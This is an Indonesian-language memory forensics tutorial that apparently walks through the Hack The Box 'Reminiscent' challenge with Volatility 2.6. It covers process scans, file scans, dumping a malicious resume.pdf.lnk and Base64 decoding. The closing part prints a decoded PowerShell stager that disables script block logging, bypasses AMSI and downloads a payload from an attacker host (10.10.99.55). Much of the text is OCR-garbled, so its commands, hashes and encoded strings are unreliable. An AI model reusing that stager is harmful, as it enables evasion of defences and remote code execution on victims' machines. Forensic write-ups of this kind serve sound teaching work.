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I. Pengantar

Forensik Memori (Memory Forensics) merupakan teknik analisis yang bertujuan untuk
mengekstrak dan menginterpretasikan struktur data internal sistem operasi dari memory dump,
sehingga memungkinkan identifikasi berbagai artefak sistem, seperti proses dan thread (Schuster,
2006). Forensik memori merupakan cabang dari Forensik Digital (Digital Forensic) yang fokus
pada analisis isi RAM (Random Access Memory) untuk menemukan bukti aktivitas sistem yang
sedang berjalan atau baru saja terjadi. Forensik memori merupakan teknik yang dilakukan dengan
mengakuisisi dan menganalisis data volatil yang tersimpan di memori (RAM) yang akan hilang
ketika sistem dimatikan, sehingga memiliki peran krusial dalam investigasi keamanan siber
karena mampu mengungkap artefak penting yang tidak tercatat pada media penyimpanan
permanen seperti hard disk atau media penyimpanan lainnya. Pendekatan forensik memori
memiliki relevansi dalam investigasi keamanan siber, misalnya pada kasus serangan malware,
proses incident response, investigasi ancaman dan kejadian dari dalam organisasi (insider threat),
serta Advanced Persistent Threat (APT).

Saat ini, banyak teknik serangan modern dirancang untuk meminimalkan jejak pada media
penyimpanan permanen. Akibatnya, aktivitas penyerang sering kali hanya dapat diidentifikasi
melalui analisis memori, seperti pemeriksaan proses yang sedang berjalan, koneksi jaringan aktif,
serta keberadaan kredensial sensitif yang tersimpan sementara di dalam RAM. Berdasarkan hal
ini, forensik memori mampu memberikan visibilitas yang lebih komprehensif terhadap kondisi
aktual sistem serta menjadi komponen penting dalam mendukung proses investigasi forensik
digital.
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Adapun jenis informasi atau artefak yang dapat diidentifikasi dan diekstraksi dari memori RAM
selama proses forensik memori, misalnya:

1. Proses yang Sedang Berjalan (Running Processes)
Forensik memori memungkinkan identifikasi seluruh proses yang sedang berjalan pada sistem,
termasuk proses yang tidak terlihat oleh aplikasi standar (hidden processes). Hal ini penting
untuk mendeteksi teknik penyembunyian, misalnya malware, rootkit atau proses yang di-
unlink dari struktur sistem operasi. Informasi yang bisa diperoleh meliputi:
e PID (Process ID)
e Nama proses
o Waktu eksekusi

Informasi mengenai proses yang sedang berjalan dapat dimanfaatkan untuk mengidentifikasi
indikasi malware yang menyamarkan sebagai proses yang sah (legitimate process). Contoh
pada aktifitas ini misalnya malware yang menggunakan nama proses sistem yang sah seperti
svchost.exe untuk menyamarkan aktivitasnya dan menghindari deteksi.

2. Koneksi Jaringan (Network Connections)
Dari RAM, dapat dilihat koneksi jaringan yang aktif maupun yang baru saja terjadi. Artefak
ini sangat penting dalam mengidentifikasi komunikasi dengan source attacker (Command &
Control / C2). Informasi yang bisa didapat:
e Alamat IP lokal dan remote
e Port yang digunakan
o Status koneksi (ESTABLISHED, LISTENING)

¢ Proses yang membuka koneksi

Informasi yang diperoleh dari koneksi jaringan dapat dimanfaatkan untuk mengidentifikasi
indikasi eksfiltrasi data serta aktivitas komunikasi backdoor dengan server milik penyerang.

3. DLL & Modul (Loaded DLLs & Modules)
Analisis terhadap library atau modul (DLL/module) yang dimuat oleh suatu proses dapat
digunakan untuk mengidentifikasi indikasi injeksi kode berbahaya. Melalui analisis file
tersebut, investigator dapat melihat:
e Nama dan lokasi DLL
e Validitas atau legitimasi DLL
e Anomali, seperti DLL yang dijalankan dari path yang tidak wajar

Analisis terhadap modul tersebut memungkinkan identifikasi teknik injeksi kode berbahaya,
seperti DLL Injection maupun Reflective DLL Injection.
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4. Kredensial Pengguna (User Credentials)
Salah satu artefak sensitif yang dapat ditemukan melalui analisis RAM adalah kredensial
pengguna (misalnya username dan password), yang tersimpan sementara di dalam memori
selama sistem atau aplikasi sedang berjalan. User credentials dapat dimanfaatkan oleh
penyerang dalam melakukan teknik credential dumping guna mendukung pergerakan lateral

(lateral movement) dalam sistem.

Pada sistem seperti Windows, proses seperti Isass.exe biasanya menyimpan:
e Hash password (NTLM, Kerberos)
o Token autentikasi

5. Artefak Malware (Malware Artifacts)
Teknologi forensik memori dapat berperan untuk mendeteksi malware yang beroperasi tanpa
meninggalkan jejak pada media penyimpanan (fileless). Beberapa artefak yang dapat
diinvestigasi melalui analisis memori meliputi:
o Shellcode
o [Injected code dalam proses legitimate
e Reflective DLL

o Suspicious memory region (RWX permission)

Penggunaan tools seperti Volatility dapat membantu mengidentifikasi pola aktivitas

mencurigakan yang mengindikasikan keberadaan malware.

IL. Volatility

Volatility pertama kali dikembangkan oleh Aaron Walters melalui penelitian akademis di bidang
forensik memori. Volatility merupakan sebuah framework open-source yang digunakan dalam
proses forensik memori untuk mendukung kegiatan incident response dan analisis malware,
dibangun menggunakan bahasa pemrograman Python, dan saat ini telah mendukung berbagai

sistem operasi, termasuk Microsoft Windows, macOS, dan Linux.

Volatility mampu mengekstraksi berbagai informasi yang tersimpan dalam memori sistem, seperti
proses yang berjalan, koneksi dan socket jaringan, file Dynamic Link Library (DLL), serta registry
pada sistem operasi. Selain itu, Volatility juga dapat digunakan untuk memperoleh informasi dari
berkas crash dump maupun berkas hibernation sistem operasi. Dengan kemampuan tersebut,
Volatility menjadi salah satu fools yang efektif dalam melakukan investigasi forensik berbasis

memori.
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II1. Instalasi Volatility

Volatility yang digunakan pada praktik investigasi ini adalah Volatility 2.6 Linux Standalone
Executables (x64) yang dapat di-download melalui https://www.volatilityfoundation.org/releases.

& volatilityfoundation.org/releases

Releases Contest Contact

Releases

Volatility releases are the result of a lot of in-depth research into OS internals, applications, malicious code, and suspect
activities. Releases represent a milestone in not only our team's progress, but in the development of the community and
forensics capabilities as a whole. While releases may seem few and far between, we strive to perform rigorous testing of
our new features before calling it stable.

Volatility 2.6 (Windows 10/ Server 2016)

This release improves support for Windows 10 and adds support for Windows Server 2016, Mac OS Sierra
10.12, and Linux with KASLR kernels. A lot of bug fixes went into this release as well as performance
enhancements (especially related to page table parsing and virtual address space scanning). See below for a
more detailed list of the changes in this version.

Released: December, 2016

» Volatility 2.6 Windows Standalone Executable (x64)
latibiz 2 £ Mac O TP =) 54)

¢ 2.6 Linux Standalone Executables (x64)

rity.
* View the README
+ View the CREDITS

Setelah download Volatility selesai, lakukan unzip dengan perintah berikut ini:

‘unzip volatility 2.6 1in64 standalone.zip

. # unzip volatility_2.6_lin64_standalone.zip
Archive: volatility_2.6_1lin64_standalone.zip
creating: volatility_2.6_lin64_standalone/
inflating: volatility_2.6_lin64_standalone/AUTHORS.txt

inflating: volatility_2.6_lin64_standalone/CREDITS.txt

inflating: volatility_2.6_lin64_standalone/LEGAL.txt

inflating: volatility_2.6_lin64_standalone/LICENSE. txt

inflating: volatility_2.6_lin64_standalone/README. txt

inflating: volatility_2.6_lin64_standalone/volatility_2.6_lin64_standalone

Selanjutnya ubah nama folder volatility berada, dalam hal ini penulis mengubah yang sebelumnya
volatility 2.6 _lin64_standalone menjadi volatility 2.6.

mv volatility 2.6 1in64 standalone volatility 2.6 I

# mv volatility_2.6_lin64_standalone volatility_2.6

Selain directory, agar mudah dieksekusi penulis juga mengubah nama file executable volatility

yang sebelumnya volatility 2.6 lin64_standalone menjadi volatility.

cd volatility 2.6/
mv volatility 2.6 1in64 standalone volatility
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# mv volatility_2.6_lin64_standalone volatility 2.6
# cd volatility_ 2
: # 1s
AUTHORS.txt CREDITS.txt LEGAL.txt LICENSE.txt README.txt volatility_2.6_lin64_standalone

# mv volatility_2.6_lin64_standalone volatility

: # s
AUTHORS.txt CREDITS.txt LEGAL.txt LICENSE.txt README.txt volatility

file volatility

| ./volatility -h

. # ./volatility -h
Volatility Foundation Volatility Framework 2.6
Usage: Volatility - A memory forensics analysis platform.

Options:
-h, —help list all available options and their default values.
Default values may be set in the configuration file
(/etc/volatilityrc)
—conf-file=/root/.volatilityrc
User based configuration file
-d, --debug Debug volatility
-—plugins=PLUGINS Additional plugin directories to use (colon separated)
—1info Print information about all registered objects
--cache-directory=/root/.cache/volatility
Directory where cache files are stored
—cache Use caching
—t2z=17Z Sets the (Olson) timezone for displaying timestamps
using pytz (if installed) or tzset
-f FILENAME, -——filename=FILENAME
Filename to use when opening an image
—profile=WinXPSP2x86
Name of the profile to load (use —info to see a list
of supported profiles)

IV. Simulasi Analisis Reminiscent

4.1. Ekstraksi File

1. File reminiscent.zip sebagai objek yang akan diinvestigasi dapat ditemukan pada menu
Challenges = Forensics melalui situs https://hackthebox.org atau dengan mengakses

URL: https://app.hackthebox.com/challenges/Reminiscent setelah user melakukan login.

Reminiscent

MEDIUM

NO CONNECTION REQUIRED INFORMATION AcTvITY SHARE RESULTS

|, Download Files
= Mecessary files to play the challenge. s as " €. A memary dump of the offending VM was captured before it was removed from the netwark
e regarding their resume. A copy of the email was recovered and is
1P PASSWORD provided for reference. Find and decode the source of the malware to find the flag.

hackthebox

aTel27f6 7 088672bcedBdd i
75d094b9d£62726a0a09 641 ‘
Forensics
Submit Flag CATEGORY
a flag to this challenge

] # md5sum reminiscent.zip & shalsum reminiscent.zip
9ac38307490fb7614adaac524fc5a896 reminiscent.zip
9d9ce46beebb6bc3d2dda57b8d1bsc7810ffce63e reminiscent.zip
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2. Dari file reminiscent.zip tersebut, jika extract akan menghasilkan 3 file yaitu:

a. Resume.eml

File ini berisi pesan dari pemilik sistem yang meminta pengguna untuk melakukan

peninjauan terhadap file “resume” yang tersimpan pada capture file.

H1 Frank, someone told me you would be great to review my resume..
Could you have a look?

e.zip [1]

57d88c1096632aeae0559
r-Encoding: q rintable
Content-Type: text/html; charset=UTF-f§

b. flounder-pc-memdump.elf

Merupakan berkas utama dari berkas digital imaging utama yang selanjutnya akan
dianalisis untuk mencari evidence yang valid. Dalam skenario ini, evidence yang
valid berupa flag atau kode yang harus di-submit pada platform Hack The Box.

#A Home Documents Hackthebox Reminiscent reminiscent ~ root@kali: ~
flounder-pc- imageinfo.txt Resume.eml
memdump.elf

c. imageinfo.txt

Berisi informasi mengenai profil atau properties dari file flounder-pc-memdump.elf

File Edit View Search Terminal Help
Suggested Profile(s) : Win7SP1x64, Win7SPOx64, Win2008R2SPOx64, W1n2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_ 23418

AS Layer WindowsAMD64PagedMemory (Kernel AS)

AS Layer. VirtualBoxCoreDumpElf64 (Unnamed AS)

AS Layer FileAddressSpace (/home/infosec/dumps/mem_dumps/01/flounder-pc-memdump.elf)

PAE type : No PAE

DTB : ©x187000L
KDBG : 0xf800027fe0abL

Number of Processors :
Image Type (Service Pack
KPCR for CPU oxfffffseoe27ffdeeL
KPCR for CPU oxfffffaseee9eboooL
KUSER_SHARED_DATA : exfffff78e00000000L
Image date and tim 017-10-04 18:07:30 UTC+0000
Image local date and time : 2017-10-04 11:07:30 -0700
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4.2. Analisis File

1. Berdasarkan flounder-pc-memdump.elf yang berisi daftar proses memory, dilakukan
ekstraksi untuk menghasilkan dump file dengan nama file memdump.dot. Perintah yang
digunakan adalah sebagai berikut:

./volatility -f
'/root/Documents/Hackthebox/Reminiscent/reminiscent/flounder-pc—
memdump.elf' --profile=Win7SP1x64 psscan --output=dot --output-
file=memdump.dot

c-memdump . el f'

# cat memdump.dot LTE
cat memdump.do pids76

pid600 [
pid868 pid2020 [
pid4 pid6ee [];
pid4 [label="4 System |running" shape="record" ];
p1d1476 476 | VBoxTray.exe |running" shap
pid2772 772 | conhost.exe |running” shape="record" ];
04 | SearchIndexer. |runni
WmiPrvSE.exe |running
svchost.exe |running” shap
WmiPrvSE.exe |running" shap
| SearchProtocol |running" shape
svchost.exe |running” shap
svchost.exe |running” shap
svchost.exe |running” shape
pid432 | winlogon.exe |running" shape="record"
pid812 = SearchFilterHo |running"
pid600 svchost.exe
wmpnetwk
services.exe |running”
wininit.exe |running”
pid1840 [lab: 40 | sppsvc.exe |running”
pid496 [label b powershell.exe |running"
svchost.exe |running” shap
taskhost.exe |running" shap
| explorer.exe |running" shap
spoolsv.exe |running” sha
csrss.exe |running” shape="record"
svchost.exe [running” sha X
svchost.exe |running” shape
svchost.exe |running” shap
svchost.exe |running” shape="record" ];
smss.exe |running" shape
VBoxService.ex |running" shap
lsass.exe |running” shap
lsm.exe |running" shape
| dwm.exe |running" shap
| thunderbird.ex |running”
| powershell.exe [running" s
csrss.exe |running” shape=

pid1052 [label
pid348 [label
pid2120 [label
pid9ee [labe
pid728 [labe

p1d664

pid492

p1d500

pid2020 [
pid2812 [
p1d2752

pid396 [label=
}

U N e N e @ = N
S

—_— N
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2. Selain itu berdasarkan informasi dari file imageinfo.txt, diperoleh informasi mengenai
kemungkinan sistem operasi yang digunakan, yaitu: Win7SP1x64, Win7SP0x64,
Win2008R2SP0x64,  Win2008R2SP1x64 23418,  Win2008R2SP1x64,  atau
Win7SP1x64_23418.

: # cat imageinfo.txt
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SPOx64, Win2008R2SP1x64 23418, Win2008 P1x64, Win7SP1x64_23418
AS Layerl : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS)
AS Layer3 FileAddressSpace (/home/infosec/dumps/mem_dumps/@1/flounder-pc-memdump.elf)
PAE type No PAE
DTB : 0x187000L

KDBG : 0xf800027fe0da0L

Number of Processors : 2
Image Type (Service Pack) : 1
KPCR for CPU @ : oxfffff800027ffdooL
KPCR for CPU 1 oxfffff880009eboooL
KUSER_SHARED_DATA oxfffff78000000000L
Image date and time 2017-10-04 18:07:30 UTC+0000
Image local date and time : 2017-10-04 11:07:30 -0700

3. Selanjutnya dilakukan filescan terhadap memdump.elf untuk mendapatkan nilai offset dan

aplikasi yang berjalan di dalam background memory sistem operasi tersebut.

./volatility -f
'/root/Documents/Hackthebox/Reminiscent/reminiscent/flounder-pc—
memdump.elf' --profile=Win7SP1x64 filescan > result.txt

Iroot/ProgramFiles/volatili 6/result.txt - Mousepad

File Edit Search View Document Help

Warning: you are using the root account. You may harm your system.

pffset(P)

0x00000000043f0f20 \Device\HarddiskVolume2\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx
\Device\HarddiskvVolume2\Windows\System32\wscui.cpl
\Device\HarddiskvVolume2\
\Device\HarddiskVolume2\Users\user\AppData\Roaming\Microsoft\Windows\Network Shortcuts
0x00000000043f4360 = \Device\HarddiskVolume2\Users\user\Links
0x00000000043f4920 2 \Device\NamedPipe\srvsvc
0x00000000043f4d40 \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Windows\WER\ERC
)x00000000043f5310 3 \Device\HarddiskVolume2\Program Files (x86)\Mozilla Thunderbird\api-ms-win-crt-runtime-11-1-0.d11
00000000043f6070 \Device\HarddiskVolume2\Windows\SyswOW64\ntshrui.dll
0x00000000043f6500 33 \Device\HarddiskvVolume2\$Directory
*00000000043f6b30 \Device\HarddiskVolume2\Windows\Fonts\trebucbd.ttf
0x00000000043f6c80 \Device\HarddiskVolume2\Windows\SyswOw64\linkinfo.dl1l
\Device\HarddiskVolume2\Windows\SyswOwW64\1pk.d1l1
\Device\HarddiskvVolume2\Windows\Syswow64\iertutil.dll
\Device\HarddiskVolume2\Windows\SoftwareDistribution\DataStore\Logs\tmp.edb
0x000000001d60b860 -- \Device\HarddiskVolume2\Windows\SyswOW64\sspicli.dll
x000000001d615820 - \Device\HarddiskVolume2\Windows\SysWOW64\SensApi.dll
5ca \Device\HarddiskVolume2\Windows\SysWOW64\ExplorerFrame.dll
0>x000000001d6466e0 \Device\NamedPipe\keysvc
x000000001d7b9%070 \Device\NamedPipe\protected_storage
0x000000001d7b9400 ¢ \Device\HarddiskvVolume2\Windows\System32\kerberos.dll
0x000000001d7b97e0 \Device\HarddiskVolume2\Windows\SyswWOW64\winnsi.dll
x000000001d9b1370 \Device\HarddiskVolume2\Windows\SyswWOW64\comct132.d11
P>x000000001d9fd250 \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES5\index.dat
x000000001dadbo70 - \Device\HarddiskVolume2\Windows\SyswWOwW64\ole32.d11
x000000001dadbb80 = \Device\HarddiskVolume2\Windows\SysWOW64\urimon.dll
x000000001de0d0c80 - \Device\HarddiskVolume2\Windows\System32\ActionCenter.dll
x000000001de00f20 - \Device\HarddiskVolume2\Windows\System32\wbem\wmiprov.dll
x000000001de0a240 \Device\HarddiskVolume2\Windows\System32\hgcpl.dll

4. Berdasarkan filescan tersebut, diperoleh informasi yang memuat aplikasi atau berkas
sistem yang sebelumnya sudah dijalankan. Dari aplikasi atau file sistem tersebut,
dilakukan identifikasi untuk mendapatkan kemungkinan file yang mengandung anomali.
Berdasarkan analisis ditemukan file yang kemungkinan mengandung pesan tersembunyi,

yaitu: resume.pdf.Ink.

./volatility -f
'/root/Documents/Hackthebox/Reminiscent/reminiscent/flounder-pc—
memdump.elf' --profile=Win7SP1x64 filescan | grep resume
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t ./volatility -f '/root/Documents/Hackthebox/Reminiscent/reminiscent/flounder-pc-memdump.elf’ —profile=Win7SP1x64
scan re
Volatility Fol v
0x000000001 ~ ard 0 .pdf.lnk
0x000000001 X—Iw- e\Har t .pdf.lnk

5. Selanjutnya investigator melakukan ekstraksi terhadap kedua file tersebut. Pada tahap
awal investigator melakukan identifikasi dan analisis dari file pertama yang memiliki nilai
offset 0x000000001e1£6200, namun dari hasil analisis pada file ini tidak ditemukan
barang bukti yang valid.

./volatility -f
'/root/Documents/Hackthebox/Reminiscent/reminiscent/flounder-pc-
memdump.elf' --profile=Win7SP1x64 dumpfiles -0
0x000000001el1£6200 -D .

: # ./volatility -f '/root/Documents/Hackthebox/Reminiscent/reminiscent/flounder-pc-memdump.elf' --pr
dumpfiles -Q 0x000000001e1f6200 -D .

Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x1e1f6200 None \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk
SharedCacheMap 0x1e1f6200 None \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk

6. Selanjutnya dilakukan identifikasi dan analisis terhadap berkas resume.pdf.ink pada offset
0x000000001e8feb70.

./volatility -f
'/root/Documents/Hackthebox/Reminiscent/reminiscent/flounder-pc-
memdump.elf' --profile=Win7SP1x64 dumpfiles -0
0x000000001e8feb70 -D .

./volatility -f '/root/Documents/Hackthebox/Reminiscent/reminiscent/flounder-pc-memdump.elf’ --profile=Win7SP1x64

3feb70 -D .
tility Fram

@ None ce\Hardd " e p\resume. pdf. Lnk
None a df . Lk

Dari hasil ekstraksi file menggunakan perintah diatas akan membentuk 2 file baru yaitu:
a) file.None.Oxfffffa80017dcc60.vacb
b) file.None.Ox{ffffa80022ac740.dat

total 15100
drwx
drwxr-xr-x
-rwx

t root
t root

-TW-r file.None.0xfffffa80017dcc60.vach
file.None.0xfffffa80022ac740.dat

2r
6 I
1r
1
- 1T
2
1r

016 LICENSE.txt
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7. Ekstrak teks yang dapat dibaca dari berkas dump memori tersebut guna mengidentifikasi

informasi penting seperti artefak, URL, atau indikasi aktifitas mencurigakan.

|strings file.None.0xfff£f£fa80017dcc60.vacb |

8. Dari hasil pembacaan menggunakan perintah strings diatas, akan ditemukan sejumlah
informasi dan karakter yang terenkripsi. Investigator menganalisis pada berkas tersebut

dan menyimpulkan bahwa karakter tersebut adalah Base64.

Selanjutnya investigator mencoba melakukan decoding terhadap cipher tersebut, serta
menganalisis keluarannya dan mendapatkan temuan atau flag akhir pada skenario ini.

Decode from Base64 format
Simply enter your data then push the decode button

CABVAHCAZ QByAHMAAABIAGWADAAGACOADbgBVAFAAIAAIAHMAJABRACAALQBIACAAMQAQACOAZ QBUAGMAIAAGAECAQQBCAEgGAQQBIAE '
kAQQBIAHCAQgBWAEEARgBBAEEAVQBBAEIAUABBAEUAdWBBAGEAUQBCAEQAQQBGAGSAQQBVAHCAQIBGAEEASABRAEEAZABBAEIA
SgBBAEUANABBAFIAdwBCAHOAQQBDAEEAQQBQAFEAQQBNAEEARgBZAEEAYWBNAEIARgBBAEUAWQBBAFgAUQBBAHUAQQBFAEUAQQ
BVAHCAQgBEAEEARWBVAEEAVABRAEIAQWBBAEUAdwBBAFCAUQBBAHUAQQBFAGMAQQBSAFEAQIAWAEEARGBRAEEAZQBRAEIADWEB
AEUAVQBBAEsAQQBBAG4AQQBGAEOAQQBIAFEAQBEAEEASABRAEEAWGBRAEIAJABBAEMANABBAFQAUQBCAGIAQABHADQAQQBZA
FEAQQBUAEEARWBVAEEAYgBRAEIADABBAECANABBAGQAQQBBAHUAQQBFAEUAQQBKAFEAQAWAEEARWA4AEEAYBRAEIAaABBAEQA
UQBBAGEAUQBCAHYAQQBHADQAQQBMAGCAQgBWAEEASABRAEEAYQBRAEIAcwBBAEGATQBBAECAdwBBAHAAQQBDADQAQQBJAGCA
QgBIAEEARQBVAEEAZABBAEIARWBBAEUAawBBAFIAUQBCAGCAQQBHAHCAQQBaAEEAQQBpAEEAQWBNAEEASGB3AEIAagBBAECARQBB
AFkADwBCAGBAQQBHAFUAQQBaAEEAQgBIAEEASABJAEEAYgB3IAEIAMQBBAEgQAQQBBAFUAQQBCAHYAQQBHAHCAQQBhAFEAQEBgAE
EASABrAEEAVQB3AEIADABBAEgGAUQBBAGQAQQBCAHAAQQBHADQAQQBaAHCAQgBEAEEAQWBJAEEATABBAEEAZWBBAEMAYWBBAFQA
ZwBBAG4AQQBDAHMAQQBKAHCAQQgB2AEEARWAJAEEAVOBBAEIAMQBBAECASQBBAGIAQQBCAHAAQQBHAEOAQQBMAEEAQQBUAEEA
SABRAEEAWQBRAEIAMABBAECcAawBBAFKAdwBBAGAAQUBDAGSAQUBMAGCAQBIAEEARQBVAEEAVGBBAEIAVWBBAECARQBBAGIAQQB

L » ]| [o{e /s BN Bl Decodes your data into the area below.

powershell -noP -sta -w 1 -enc JABHAHIAbwBVAFAAUABPAEWAaQBDAFKAUWBFAHQAABJAE4ARWBZACAAPQAGAFSACgBFAEYAXQAUAEEA
UwBzAGUATQBCAEWAWQAUAECARQBOAFQAQBWAEUAKAANAFMAQBzAHQAZQBIACAATQBhAGAAY QBnAGUARQBIAG4AJAAUAEEADQB
0AG8AbQBhAHQAaQBVAG4ALgBVAHQAaQBSAHMAJWAPACAAIgBHAEUAJABGAEKARQBIAGWAZAAIACIAIWBIAGEAYWBOAGUAZABHAHIA
bwB 1AHAAUABVAGWAaQBJAHKAUWBIAHQAJABpAGAAZWBZACCALAAGACCATQANACSAJWBVAGAAUAB1AGIADABpAGMALABTAHQAY QBOAG
kAYwANRACKALgBHAEUAVABWAGEADABVAGUAKAAKAGAADQBSAEWAKQATACQARWBSAGBAJQBOAFAATWESAEKAQWESAFMAZQBUAFQAA
QBOAGCAUWBbACCAUWBjAHIAaQBWAHQAQQANACSAJWBSAGSAYWBrAEWADWBNAGCAaQBUAGCAJWBAAFSAJWBFAGAAY QBIAGWAZQBTAG
MAcgBpAHAAJABCACCAKWANAGWADWBJAGSATABVAGCAZWBPAGAAZWANAFOAIAASACAAMAATACQARWBSAGBAJQBQAFAATWBMAEKAQWB
ZAFMARQBOAFQAaQBUAGCAUWBDACCAUWBjAHIAaQBWAHQAQQANACSAIWBSAGBAYWBrAEwWAbwBNAGCAaQBUAGCAJWBAAFSAJWBFAG4AY
QBIAGWAZQBTAGMAcgBpAHAAJABCAGWADbWBJAGSASQBUAHYAbWBJAGEAJABPAGS8AbgBMAGBAZWBNAGKAbgBNACCAXQAGADOAIAAWADS
AWWBSAGUAZgBdAC4AQQBZAFMAZ QBIAEIADABSAC4ARWEBIAFQAVADBSAFAARQACACCAUWBSAHMAJABIAGOALGENAGEAbgBhAGCAZQDBA
GUAbgBOAC4AQQB1AHQAbwBIAGEAJABPAGBADgAUAEEADQBZAGKAVQBOAGKADABZACCAKQBSADBAeWAKAFBSAIQBBACUAewAKAFBALEB
HAEUAJABGAGKAZQBMAGQAKAANAGEABQBZAGKASQBUAGKAdABGAGEAaQBSAGUAZAANACWAJWBOAGBAbgBQAHUAYgBSAGKAYWASAF
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Berdasarkan hasil decoding diatas, menunjukkan bahwa input berupa string terenkripsi dikonversi
menjadi perintah asli berupa kode PowerShell.

Decode from Base64 format

Simply enter your data then push the decode button

JABHAHIAbwBVAFAAUABPAEWAaQBDAFKAUWBFAHQAJABJAE4ARWBZACAAPQAQAFSACGBFAEYAXQAUAEEAUWBZAGUATQBCAEWAWQAU
AECARQBOAFQAeQBWAEUAKAANAFMAeQBzAHQAZQBIAC4ATQBhAG4AYQBNAGUADQBIAGAAJAAUAEEAdQBOAGBAbQBhAHQAaQBVAGAA
LgBVAHQAaQBsAHMAJWAPAC4AIgBHAEUAJABGAEKARQBAGWAZAAIACGAJWBJAGEAYWBOAGUAZABHAHIADWB1AHAAUABVAGWAaQBJAH
kKAUwBIAHQAdJABpPAG4AZWBZACCALAAGACCATgANACSAJWBVAGAAUAB1AGIADABpAGMALABTAHQAY QBOAGKAYWANACKALgBHAEUAVABW
AGEAbABVAGUAKAAKAGAAJQBSAEWAKQATACQARWESAGSAJQBQAFAATWBSAEKAQWBSAFMAZ QBUAFQAaQBOAGCAUWBbACCAUWB]AHI
AaQBwAHQAQQANACsAJwBsAGBAYWBrAEWAbwBNAGcAaQBUAGCAJWBAAFSAJWBFAGAAY QBIAGWAZQBTAGMACgBpAHAAJABCACCAKWAN
AGWAbWBJAGSATABVAGCAZWBPAGAAZWANAFOAIAASACAAMAATACQARWBSAGBAJQBQAFAATWEMAEKAQWBZAFMARQBOAFQAaQBUAGCA
UwBbACCcAUWBJAHIAaQBWAHQAQgANACSAJWBSAGBAYWBrAEWAbwWBNAGcAaQBUAGCAJWBAAFSAJWBFAG4AY QBIAGWAZQBTAGMACGBpAH
AAJABCAGWAbWBJAGSASQBUAHYAbWBJAGEAJABPAGEAbgBMAGBAZWBNAGKAbgBNACCAXQAGADOAIAAWADSAWWBSAGUAZgBIAC4AQQB
ZAFMAZQBIAEIADABSACAARWBIAFQAVABSAFAARQACACCAUWBSAHMAJABIAGOALGBNAGEADGBhAGCAZQBIAGUADgBOAC4AQQB1AHQAD
WBIAGEAdABpAGBAbgAUAEEADQBZAGKAVABOAGKADABZACCAKQBBADBAeWAKAFSATQBSACUAeWAKAFSALBHAEUAJABGAGKAZQBMAGQ
AKAANAGEADQBzACKASQBUACKAdABGAGEAaQBSAGUAZAANACWAJWBOAGBADGBQAHUAY gBSAGKAYWASAFMAJABhAHQABQBJACCAKQA

Berdasarkan hasil decoding ditemukan evidence yang menjadi flag dari lab ini.

LG Zlole )0 BN M Dccodes your data into the area below

$GroUPPOLICYSEHINGs = [rEF]. ASseMBLY. GEtTypE(' System Management. Automation. Utils’)."GEtFIE 1d"(‘'cached GroupPolicySettings’, '"N'+'onPubl
ic Static'). GETValUe(SnullL);5GRouPPOIICySeTTiNgS['ScriptB'+'lockLogging'l[ EnableScriptB'+'lockLogging'] = 0:3GRouPPOLICY SEtTingS[ Script
B'+'lockLogging]['EnableScriptBlockinvocationLogging'] = 0;[Ref]. AsSemBly. GeTTyPE('System.Management Automation AmsiUtils")| 2{$_}|%{$_.GEtF
ieLd('amsilnitFailed’ 'NonPublic Static") SETValLuE(SNull $True)}:[SysTem NeT SErVIcePOIntMANRAGER] - ExpEct100CONTinuE=0:$WC=NEW-OBjEc
T SysTEM NEt WeBCIIEnt;$u="Mozilla/5.0 (Windows NT 6.1; WOWGE4; Trident/7.0; rv:11.0) like Gecko';3wC HeaDerS Add('User-Agent' $u);$Wc.PRo
Xy=[SysTeM NET WebRequEst]:DefalLtWeBPROXY;$wC PRoXY.CREDeNtlaLS = [SYSTeM NET.CreDEnTiaLCaChe].-DeFauLTNEtwQOrkCredentiA
1S $K=[SYStEM . Text ENCODINg]::ASCII.GEtBYtES( E1gMGdT@eoN=x3{|2F7+bsOn4/SiQrw'); $R={3D $K=5ArgS;$5=0..255,0..255|%{SJ=(5J+553[$_]
+SK[$_ %!BK CounT])%256 $S[5_1,55[5J1=8S[3J].$S[5_1};5D|%{$I1=(51+1)%256,;$H=(SH+$5[$1])%256,$5[$1], $S[SH]=$S[SH] $S[SI].$_- bxoRSﬁ
("Cookie" "session=MCahuQVfz0yMEYBe8fzVatdjomo=");5ser="http://10 10 99 55-80":$t="login/process php" $flag
" 5DatA=$WC DoWNLoaDDATA(SSeR+51);$iv=5daTA[0. 3] $DAta=5DaTa[4..$DAta. LenGTH]-JOIN[CHAT]](
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